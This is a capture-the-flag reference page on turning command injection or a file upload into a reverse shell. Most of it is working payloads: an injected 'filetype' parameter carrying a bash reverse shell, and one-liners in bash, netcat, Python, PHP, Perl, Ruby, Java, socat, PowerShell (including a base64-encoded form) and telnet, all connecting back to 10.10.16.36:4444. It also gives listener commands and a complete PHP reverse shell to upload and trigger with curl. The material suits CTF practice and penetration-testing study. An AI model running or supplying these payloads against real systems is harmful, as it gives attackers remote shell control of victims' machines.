> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/rce/trick-0216/web-rce-reverse-shell.md).

# Reverse Shell

## Command Injection to Reverse Shell

After confirming command injection, a common method to gain an interactive shell is by using the vulnerability to execute a reverse shell command. This involves making the target machine initiate a connection back to an attacker-controlled listener.

For example, if the injection point is within a `filetype` parameter, you might inject the following bash command:

```bash
filetype=jpg; bash -i >& /dev/tcp/10.10.16.36/4444 0>&1
```

This sends a bash shell back to your specified IP and port using the `/dev/tcp` or `/dev/udp` pseudo-devices available on some Linux systems. You must have a listener running on your machine using a tool like netcat:

```bash
nc -lvnp 4444
```

There are many other ways to obtain a reverse shell depending on the available tools and languages on the target system. Here are a few common examples:

**Bash:**

Using the `/dev/tcp` or `/dev/udp` pseudo-devices:

```bash
bash -i >& /dev/tcp/10.10.16.36/4444 0>&1
```

A UDP variant is also possible:

```bash
bash -i >& /dev/udp/10.10.16.36/4444 0>&1
```

**Netcat (OpenBSD variant):**

```bash
nc -e /bin/sh 10.10.16.36 4444
```

**Netcat (Traditional variant):**

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.36 4444 >/tmp/f
```

Some Netcat versions support the `-c` flag to execute a command:

```bash
nc 10.10.16.36 4444 -c /bin/sh
```

**Python:**

```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.36",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

**PHP:**

```php
php -r '$sock=fsockopen("10.10.16.36",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

**Perl:**

```perl
perl -e 'use Socket;$i="10.10.16.36";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

**Ruby:**

```ruby
ruby -rsocket -e 'exit if fork;s=TCPSocket.new("10.10.16.36",4444);while(cmd=s.gets);IO.popen(cmd,"r+"){|io|s.print io.read};end'
```

**Java:**

A complex Java one-liner using `Runtime.getRuntime().exec()`:

```java
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.16.36/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"]);
```

Another Java example using `ProcessBuilder`:

```java
String host="10.10.16.36";int port=4444;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

**Socat:**

Socat is a versatile tool often called "netcat++". A simple reverse shell can be achieved with:

```bash
socat TCP:10.10.16.36:4444 EXEC:sh,pty,stderr,setsid,sigint,sane
```

For encrypted connections, an SSL variant exists:

```bash
socat SSL:10.10.16.36:4444 EXEC:sh,pty,stderr,setsid,sigint,sane
```

**Powershell (Windows):**

For Windows targets, Powershell is frequently available. A common reverse shell script:

```powershell
powershell -NoP -NonI -W Hidden -Exec ByPass -Command New-Object System.Net.Sockets.TCPClient("10.10.16.36",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

This can often be sent base64 encoded to avoid issues with special characters:

```powershell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIASQAwAC4AMQAwAC4AMQA2AC4AMwA2ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEA... (truncated for brevity)
```

**Telnet:**

```bash
mkfifo /tmp/f;cat /tmp/f|/bin/sh|telnet 10.10.16.36 4444 >/tmp/f
```

**Xterm:**

This requires the attacker's machine to be running an X server and allowing connections (e.g., `xhost +targetip`).

```bash
xterm -display 10.10.16.36:1
```

For the listener side, while `nc -lvnp <port>` is common, other tools and commands can also be used:

**Ncat:**

```bash
ncat -lvnp 4444
```

**Ncat (with --ssl for encrypted connection):**

```bash
ncat --ssl -lvnp 4444
```

**Socat Listener:**

To listen with Socat, you can use:

```bash
socat -d -d TCP-LISTEN:4444 STDOUT
```

For an SSL listener with Socat:

```bash
socat -d -d SSL-LISTEN:4444 STDOUT
```

**Python Listener:**

A simple Python script can also act as a listener:

```python
import socket, sys

listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("0.0.0.0", 4444)) # Listen on all interfaces
listener.listen(5)

print("Listening on port 4444...")

conn, addr = listener.accept()
print(f"Received connection from {addr}")

# You would typically handle the shell interaction here
# e.g., conn.sendall(b"shell prompt > ")
# cmd = conn.recv(1024).decode().strip()
# ... process command and send output back ...

conn.close()
listener.close()
```

Choosing the correct reverse shell payload depends entirely on the environment of the target system and what commands or interpreters are available.

***

## Execute Uploaded PHP Shell

Set up a netcat listener on your machine to receive the reverse shell connection:

```bash
nc -lvnp 4444
```

A common approach involves using a PHP script designed to establish a connection back to your listening machine. Such a script typically defines the attacker's IP address and port number it should connect to.

Here is an example of a PHP reverse shell script:

```php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 by Laudanum

// --- CONFIG ---
// Change this to the IP of your listening machine
$ip = '127.0.0.1';
// Change this to the port of your listening machine
$port = 1234;
// --- END CONFIG ---

set_time_limit(0);
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    $daemon = 1;
}

chdir("/");

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    exit(1);
}

$descriptorspec = array(
    0 => $sock, // stdin
    1 => $sock, // stdout
    2 => $sock  // stderr
);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);
if (!is_resource($process)) {
    exit(1);
}

while (true) {
    $input = fgets($sock);
    if ($input == "exit\n") {
        break;
    }
    fwrite($sock, shell_exec($input));
}

fclose($sock);
proc_close($process);
exit(0);
?>
```

Before uploading, modify the `$ip` and `$port` variables within the script to match your listener's IP and port.

After successfully uploading this PHP reverse shell to a web-accessible location on the target server, trigger its execution by sending an HTTP request to the file's URL. This can be done via a web browser or command-line tools like `curl`. The web server will execute the PHP script when the page is requested.

For example, if the shell was uploaded to `/cloud/images/shell.php` on the target:

```bash
curl http://<target_ip>/cloud/images/shell.php
# Or navigate to http://<target_ip>/cloud/images/shell.php in your browser.
```

You can invoke a php script from the bash command line using curl as shown above. The shell connection should appear on your listener.
